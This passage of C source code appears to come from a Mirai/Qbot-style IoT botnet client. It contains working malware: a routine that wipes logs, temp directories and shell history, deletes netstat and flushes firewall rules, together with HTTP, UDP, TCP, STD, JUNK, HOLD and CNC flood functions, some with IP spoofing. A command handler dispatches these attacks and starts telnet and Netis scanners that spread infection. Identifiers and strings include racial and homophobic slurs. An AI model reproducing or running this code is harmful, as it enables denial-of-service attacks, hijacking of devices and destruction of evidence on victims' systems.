  1809. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  1810. system(buf);
  1811. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  1812. system(botkill);
  1813. return;
  1814. }
  1815. sleep(5);
  1816. }
  1817. //Cleaning Device
  1818. void RemoveTMP() {
  1819. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  1820. system("rm -rf /var/log/wtmp");
  1821. system("history -c;history -w");
  1822. system("rm -rf /var/log/wtmp");
  1823. system("rm -rf /tmp/*");
  1824. system("history -c");
  1825. system("rm -rf ~/.bash_history");
  1826. system("rm -rf /bin/netstat");
  1827. system("history -w");
  1828. system("pkill -9 busybox");
  1829. system("pkill -9 perl");
  1830. system("service iptables stop");
  1831. system("/sbin/iptables -F;/sbin/iptables -X");
  1832. }
  1833. int socket_connect(char *host, in_port_t port) {
  1834. struct hostent *hp;
  1835. struct sockaddr_in addr;
  1836. int on = 1, sock;
  1837. if ((hp = gethostbyname(host)) == NULL) return 0;
  1838. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1839. addr.sin_port = htons(port);
  1840. addr.sin_family = AF_INET;
  1841. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1842. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1843. if (sock == -1) return 0;
  1844. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1845. return 0;
  1846. return sock;
  1847. }
  1848. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1849. const char *useragents[] = {
  1850. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1851. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1852. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1853. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1854. "Opera/6.04 (Windows XP; U) [en]",
  1855. "Opera/9.99 (X11; U; sk)",
  1856. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1857. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1858. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  1859. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1860. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1861. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1862. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1863. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1864. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1865. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1866. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1867. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1868. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1869. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1870. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1871. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1872. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1873. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1874. "wii libnup/1.0",
  1875. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1876. "PSP (PlayStation Portable); 2.00",
  1877. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1878. "Doris/1.15 [en] (Symbian)",
  1879. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1880. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  1881. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1882. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1883. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1884. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1885. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1886. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  1887. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  1888. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  1889. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  1890. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  1891. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  1892. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  1893. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  1894. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1895. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1896. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1897. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  1898. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  1899. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  1900. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  1901. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  1902. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  1903. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  1904. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  1905. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  1906. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  1907. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  1908. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  1909. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  1910. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  1911. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  1912. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  1913. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  1914. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  1915. };
  1916. const char *connections[] = {"close", "keep-alive", "accept"};
  1917. int i, timeEnd = time(NULL) + timeFoo;
  1918. char request[512];
  1919. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  1920. for (i = 0; i < power; i++) {
  1921. if (fork()) {
  1922. while (timeEnd > time(NULL)) {
  1923. int socket = socket_connect((char *)host, port);
  1924. if (socket != 0) {
  1925. write(socket, request, strlen(request));
  1926. close(socket);
  1927. }
  1928. }
  1929. _exit(1);
  1930. }
  1931. }
  1932. }
  1933. void sendSTD(unsigned char *ip, int port, int secs) {
  1934. int iSTD_Sock;
  1935. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1936. time_t start = time(NULL);
  1937. struct sockaddr_in sin;
  1938. struct hostent *hp;
  1939. hp = gethostbyname(ip);
  1940. bzero((char*) &sin,sizeof(sin));
  1941. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1942. sin.sin_family = hp->h_addrtype;
  1943. sin.sin_port = port;
  1944. unsigned int a = 0;
  1945. while(1){
  1946. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "hackz", "shdyed", "http", "sghwiondc", "nigger", "pussy", "faggot"};
  1947. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1948. if (a >= 50)
  1949. {
  1950. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1951. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1952. if (time(NULL) >= start + secs)
  1953. {
  1954. close(iSTD_Sock);
  1955. _exit(0);
  1956. }
  1957. a = 0;
  1958. }
  1959. a++;
  1960. }
  1961. }
  1962. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1963. {
  1964. struct sockaddr_in dest_addr;
  1965. dest_addr.sin_family = AF_INET;
  1966. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1967. else dest_addr.sin_port = htons(port);
  1968. if(getHost(target, &dest_addr.sin_addr)) return;
  1969. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1970. register unsigned int pollRegister;
  1971. pollRegister = pollinterval;
  1972. if(spoofit == 32)
  1973. {
  1974. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1975. if(!sockfd)
  1976. {
  1977. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  1978. return;
  1979. }
  1980. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1981. if(buf == NULL) return;
  1982. memset(buf, 0, packetsize + 1);
  1983. makeRandomStr(buf, packetsize);
  1984. int end = time(NULL) + timeEnd;
  1985. register unsigned int i = 0;
  1986. while(1)
  1987. {
  1988. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1989. if(i == pollRegister)
  1990. {
  1991. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1992. if(time(NULL) > end) break;
  1993. i = 0;
  1994. continue;
  1995. }
  1996. i++;
  1997. }
  1998. } else {
  1999. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2000. if(!sockfd)
  2001. {
  2002. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2003. return;
  2004. }
  2005. int tmp = 1;
  2006. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2007. {
  2008. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2009. return;
  2010. }
  2011. int counter = 50;
  2012. while(counter--)
  2013. {
  2014. srand(time(NULL) ^ rand_cmwc());
  2015. init_rand(rand());
  2016. }
  2017. in_addr_t netmask;
  2018. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2019. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2020. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2021. struct iphdr *iph = (struct iphdr *)packet;
  2022. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2023. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2024. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2025. udph->source = rand_cmwc();
  2026. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2027. udph->check = 0;
  2028. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2029. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2030. int end = time(NULL) + timeEnd;
  2031. register unsigned int i = 0;
  2032. while(1)
  2033. {
  2034. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2035. udph->source = rand_cmwc();
  2036. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2037. iph->id = rand_cmwc();
  2038. iph->saddr = htonl( HackerScan2(netmask) );
  2039. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2040. if(i == pollRegister)
  2041. {
  2042. if(time(NULL) > end) break;
  2043. i = 0;
  2044. continue;
  2045. }
  2046. i++;
  2047. }
  2048. }
  2049. }
  2050. void sendCNC(unsigned char *ip,int port, int end_time)
  2051. {
  2052. int end = time(NULL) + end_time;
  2053. int sockfd;
  2054. struct sockaddr_in server;
  2055. server.sin_addr.s_addr = inet_addr(ip);
  2056. server.sin_family = AF_INET;
  2057. server.sin_port = htons(port);
  2058. while(end > time(NULL))
  2059. {
  2060. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2061. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2062. sleep(1);
  2063. close(sockfd);
  2064. }
  2065. }
  2066. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2067. {
  2068. register unsigned int pollRegister;
  2069. pollRegister = pollinterval;
  2070. struct sockaddr_in dest_addr;
  2071. dest_addr.sin_family = AF_INET;
  2072. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2073. else dest_addr.sin_port = htons(port);
  2074. if(getHost(target, &dest_addr.sin_addr)) return;
  2075. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2076. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2077. if(!sockfd)
  2078. {
  2079. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2080. return;
  2081. }
  2082. int tmp = 1;
  2083. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2084. {
  2085. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2086. return;
  2087. }
  2088. in_addr_t netmask;
  2089. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2090. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2091. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2092. struct iphdr *iph = (struct iphdr *)packet;
  2093. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2094. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2095. tcph->source = rand_cmwc();
  2096. tcph->seq = rand_cmwc();
  2097. tcph->ack_seq = 0;
  2098. tcph->doff = 5;
  2099. if(!strcmp(flags, "all"))
  2100. {
  2101. tcph->syn = 1;
  2102. tcph->rst = 1;
  2103. tcph->fin = 1;
  2104. tcph->ack = 1;
  2105. tcph->psh = 1;
  2106. } else {
  2107. unsigned char *pch = strtok(flags, ",");
  2108. while(pch)
  2109. {
  2110. if(!strcmp(pch, "syn"))
  2111. {
  2112. tcph->syn = 1;
  2113. } else if(!strcmp(pch, "rst"))
  2114. {
  2115. tcph->rst = 1;
  2116. } else if(!strcmp(pch, "fin"))
  2117. {
  2118. tcph->fin = 1;
  2119. } else if(!strcmp(pch, "ack"))
  2120. {
  2121. tcph->ack = 1;
  2122. } else if(!strcmp(pch, "psh"))
  2123. {
  2124. tcph->psh = 1;
  2125. } else {
  2126. HackerPrint(D1ckSucka, "Invalid flag \"%s\"", pch);
  2127. }
  2128. pch = strtok(NULL, ",");
  2129. }
  2130. }
  2131. tcph->window = rand_cmwc();
  2132. tcph->check = 0;
  2133. tcph->urg_ptr = 0;
  2134. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2135. tcph->check = tcpcsum(iph, tcph);
  2136. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2137. int end = time(NULL) + timeEnd;
  2138. register unsigned int i = 0;
  2139. while(1)
  2140. {
  2141. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2142. iph->saddr = htonl( HackerScan2(netmask) );
  2143. iph->id = rand_cmwc();
  2144. tcph->seq = rand_cmwc();
  2145. tcph->source = rand_cmwc();
  2146. tcph->check = 0;
  2147. tcph->check = tcpcsum(iph, tcph);
  2148. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2149. if(i == pollRegister)
  2150. {
  2151. if(time(NULL) > end) break;
  2152. i = 0;
  2153. continue;
  2154. }
  2155. i++;
  2156. }
  2157. }
  2158. void sendJUNK(unsigned char *ip, int port, int end_time)
  2159. {
  2160. int max = getdtablesize() / 2, i;
  2161. struct sockaddr_in dest_addr;
  2162. dest_addr.sin_family = AF_INET;
  2163. dest_addr.sin_port = htons(port);
  2164. if(getHost(ip, &dest_addr.sin_addr)) return;
  2165. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2166. struct state_t
  2167. {
  2168. int fd;
  2169. uint8_t state;
  2170. } fds[max];
  2171. memset(fds, 0, max * (sizeof(int) + 1));
  2172. fd_set myset;
  2173. struct timeval tv;
  2174. socklen_t lon;
  2175. int valopt, res;
  2176. unsigned char *watwat = malloc(1024);
  2177. memset(watwat, 0, 1024);
  2178. int end = time(NULL) + end_time;
  2179. while(end > time(NULL))
  2180. {
  2181. for(i = 0; i < max; i++)
  2182. {
  2183. switch(fds[i].state)
  2184. {
  2185. case 0:
  2186. {
  2187. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2188. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2189. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2190. else fds[i].state = 1;
  2191. }
  2192. break;
  2193. case 1:
  2194. {
  2195. FD_ZERO(&myset);
  2196. FD_SET(fds[i].fd, &myset);
  2197. tv.tv_sec = 0;
  2198. tv.tv_usec = 10000;
  2199. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2200. if(res == 1)
  2201. {
  2202. lon = sizeof(int);
  2203. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2204. if(valopt)
  2205. {
  2206. close(fds[i].fd);
  2207. fds[i].state = 0;
  2208. } else {
  2209. fds[i].state = 2;
  2210. }
  2211. } else if(res == -1)
  2212. {
  2213. close(fds[i].fd);
  2214. fds[i].state = 0;
  2215. }
  2216. }
  2217. break;
  2218. case 2:
  2219. {
  2220. makeRandomStr(watwat, 1024);
  2221. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2222. {
  2223. close(fds[i].fd);
  2224. fds[i].state = 0;
  2225. }
  2226. }
  2227. break;
  2228. }
  2229. }
  2230. }
  2231. }
  2232. void sendHOLD(unsigned char *ip, int port, int end_time)
  2233. {
  2234. int max = getdtablesize() / 2, i;
  2235. struct sockaddr_in dest_addr;
  2236. dest_addr.sin_family = AF_INET;
  2237. dest_addr.sin_port = htons(port);
  2238. if(getHost(ip, &dest_addr.sin_addr)) return;
  2239. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2240. struct state_t
  2241. {
  2242. int fd;
  2243. uint8_t state;
  2244. } fds[max];
  2245. memset(fds, 0, max * (sizeof(int) + 1));
  2246. fd_set myset;
  2247. struct timeval tv;
  2248. socklen_t lon;
  2249. int valopt, res;
  2250. unsigned char *watwat = malloc(1024);
  2251. memset(watwat, 0, 1024);
  2252. int end = time(NULL) + end_time;
  2253. while(end > time(NULL))
  2254. {
  2255. for(i = 0; i < max; i++)
  2256. {
  2257. switch(fds[i].state)
  2258. {
  2259. case 0:
  2260. {
  2261. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2262. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2263. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2264. else fds[i].state = 1;
  2265. }
  2266. break;
  2267. case 1:
  2268. {
  2269. FD_ZERO(&myset);
  2270. FD_SET(fds[i].fd, &myset);
  2271. tv.tv_sec = 0;
  2272. tv.tv_usec = 10000;
  2273. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2274. if(res == 1)
  2275. {
  2276. lon = sizeof(int);
  2277. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2278. if(valopt)
  2279. {
  2280. close(fds[i].fd);
  2281. fds[i].state = 0;
  2282. } else {
  2283. fds[i].state = 2;
  2284. }
  2285. } else if(res == -1)
  2286. {
  2287. close(fds[i].fd);
  2288. fds[i].state = 0;
  2289. }
  2290. }
  2291. break;
  2292. case 2:
  2293. {
  2294. FD_ZERO(&myset);
  2295. FD_SET(fds[i].fd, &myset);
  2296. tv.tv_sec = 0;
  2297. tv.tv_usec = 10000;
  2298. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2299. if(res != 0)
  2300. {
  2301. close(fds[i].fd);
  2302. fds[i].state = 0;
  2303. }
  2304. }
  2305. break;
  2306. }
  2307. }
  2308. }
  2309. }
  2310. void processCmd(int argc, unsigned char *argv[])
  2311. {
  2312. int x;
  2313. if(!strcmp(argv[0], "PING"))
  2314. {
  2315. HackerPrint(D1ckSucka, "PONG!");
  2316. return;
  2317. }
  2318. if(!strcmp(argv[0], "GETLOCALIP"))
  2319. {
  2320. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2321. return;
  2322. }
  2323. if(!strcmp(argv[0], "BOTKILL"))
  2324. {
  2325. if(!listFork())
  2326. {
  2327. HackerPrint(D1ckSucka, "Killing Bots");
  2328. botkiller();
  2329. RemoveTMP();
  2330. _exit(0);
  2331. }
  2332. }
  2333. if(!strcmp(argv[0], "LOOPME"))
  2334. {
  2335. if(!listFork())
  2336. {
  2337. HackerPrint(D1ckSucka, "LOOPING PAYLOAD");
  2338. LoopPayload();
  2339. _exit(0);
  2340. }
  2341. }
  2342. if(!strcmp(argv[0], "TELNET"))
  2343. {
  2344. if(argc != 2)
  2345. {
  2346. HackerPrint(D1ckSucka, "TELNET ON | OFF");
  2347. return;
  2348. }
  2349. if(!strcmp(argv[1], "OFF"))
  2350. {
  2351. if(scanPid == 0) return;
  2352. kill(scanPid, 9);
  2353. HackerPrint(D1ckSucka, " OFF");
  2354. scanPid = 0;
  2355. }
  2356. if(!strcmp(argv[1], "ON"))
  2357. {
  2358. if(scanPid != 0) return;
  2359. uint32_t parent;
  2360. parent = fork();
  2361. if (parent > 0) { scanPid = parent; return;}
  2362. else if(parent == -1) return;
  2363. StartTheLelz();
  2364. _exit(0);
  2365. }
  2366. }
  2367.  
  2368. if(!strcmp(argv[0], "NETIS"))
  2369. {
  2370. if(argc != 2)
  2371. {
  2372. return;
  2373. }
  2374. if(!strcmp(argv[1], "ON"))
  2375. {
  2376. HackerPrint(D1ckSucka, "[NETIS] SCAN Started.");
  2377. StartTheNetis();
  2378. _exit(0);
  2379. }
  2380. }
  2381.  
  2382. if(!strcmp(argv[0], "HOLD"))
  2383. {
  2384. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2385. {
  2386. return;
  2387. }
  2388. unsigned char *ip = argv[1];
  2389. int port = atoi(argv[2]);
  2390. int time = atoi(argv[3]);
  2391. if(strstr(ip, ",") != NULL)
  2392. {
  2393. unsigned char *hi = strtok(ip, ",");
  2394. while(hi != NULL)
  2395. {
  2396. if(!listFork())
  2397. {
  2398. sendHOLD(hi, port, time);
  2399. _exit(0);
  2400. }
  2401. hi = strtok(NULL, ",");
  2402. }
  2403. } else {
  2404. if (listFork()) { return; }
  2405. sendHOLD(ip, port, time);
  2406. _exit(0);
  2407. }
  2408. }
  2409. if(!strcmp(argv[0], "JUNK"))
  2410. {
  2411. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2412. {
  2413. return;
  2414. }
  2415. unsigned char *ip = argv[1];
  2416. int port = atoi(argv[2]);
  2417. int time = atoi(argv[3]);
  2418. if(strstr(ip, ",") != NULL)
  2419. {
  2420. unsigned char *hi = strtok(ip, ",");
  2421. while(hi != NULL)
  2422. {
  2423. if(!listFork())
  2424. {
  2425. sendJUNK(hi, port, time);
  2426. close(D1ckSucka);
  2427. _exit(0);
  2428. }
  2429. hi = strtok(NULL, ",");
  2430. }
  2431. } else {
  2432. if (listFork()) { return; }
  2433. sendJUNK(ip, port, time);
  2434. _exit(0);
  2435. }
  2436. }
  2437. if(!strcmp(argv[0], "UDP"))
  2438. {
  2439. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2440. {
  2441. return;
  2442. }
  2443. unsigned char *ip = argv[1];
  2444. int port = atoi(argv[2]);
  2445. int time = atoi(argv[3]);
  2446. int spoofed = atoi(argv[4]);
  2447. int packetsize = atoi(argv[5]);
  2448. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2449. if(strstr(ip, ",") != NULL)
  2450. {
  2451. unsigned char *hi = strtok(ip, ",");
  2452. while(hi != NULL)
  2453. {
  2454. if(!listFork())
  2455. {
  2456. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2457. _exit(0);
  2458. }
  2459. hi = strtok(NULL, ",");
  2460. }
  2461. } else {
  2462. if (listFork()) { return; }
  2463. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2464. _exit(0);
  2465. }
  2466. }
  2467. if (!strcmp((const char *)argv[0], "HTTP")) {
  2468. if (argc < 6)
  2469. {
  2470. return;
  2471. }
  2472. if (strstr((const char *)argv[1], ",") != NULL) {
  2473. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2474. while (hi != NULL) {
  2475. if (!listFork()) {
  2476. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2477. _exit(0);
  2478. }
  2479. hi = (unsigned char *)strtok(NULL, ",");
  2480. }
  2481. } else {
  2482. if (listFork()) {
  2483. return;
  2484. }
  2485. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2486. _exit(0);
  2487. }
  2488. }
  2489. if(!strcmp(argv[0], "CNC"))
  2490. {
  2491. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2492. {
  2493. return;
  2494. }
  2495. unsigned char *ip = argv[1];
  2496. int port = atoi(argv[2]);
  2497. int time = atoi(argv[3]);
  2498. if(strstr(ip, ",") != NULL)
  2499. {
  2500. unsigned char *hi = strtok(ip, ",");
  2501. while(hi != NULL)
  2502. {
  2503. if(!listFork())
  2504. {
  2505. sendCNC(hi, port, time);
  2506. close(D1ckSucka);
  2507. _exit(0);
  2508. }
  2509. hi = strtok(NULL, ",");
  2510. }
  2511. } else {
  2512. if (listFork()) { return; }
  2513. sendCNC(ip, port, time);
  2514. _exit(0);
  2515. }
  2516. }
  2517. if(!strcmp(argv[0], "COMBO"))
  2518. {
  2519. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2520. {
  2521. return;
  2522. }
  2523. unsigned char *ip = argv[1];
  2524. int port = atoi(argv[2]);
  2525. int time = atoi(argv[3]);
  2526. if(strstr(ip, ",") != NULL)
  2527. {
  2528. unsigned char *hi = strtok(ip, ",");
  2529. while(hi != NULL)
  2530. {
